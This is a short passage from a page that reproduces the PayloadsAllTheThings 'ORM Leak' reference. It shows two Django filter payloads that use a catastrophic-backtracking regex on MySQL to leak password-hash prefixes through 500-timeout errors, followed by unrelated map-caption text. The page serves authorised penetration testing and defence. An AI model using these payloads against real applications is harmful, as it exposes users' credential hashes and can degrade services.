ORM Leak · passage 7 of 12

Error-based leaking - ReDOS

1 code block · ORM Leak/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

If Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.

{"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
// => Return something

{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}  
// => Error 500 (Timeout exceeded in regular expression match)

Every one of the 12 is a mark on the map. Named now: 1 to 12, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.